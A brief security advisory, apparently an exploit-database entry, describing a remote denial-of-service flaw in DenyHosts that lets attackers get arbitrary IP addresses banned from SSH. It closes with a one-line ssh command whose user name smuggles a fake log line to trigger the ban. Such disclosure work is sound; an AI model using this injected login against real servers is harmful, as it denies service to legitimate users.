DenyHosts - regex.py Remote Denial of Service

source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users. 

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21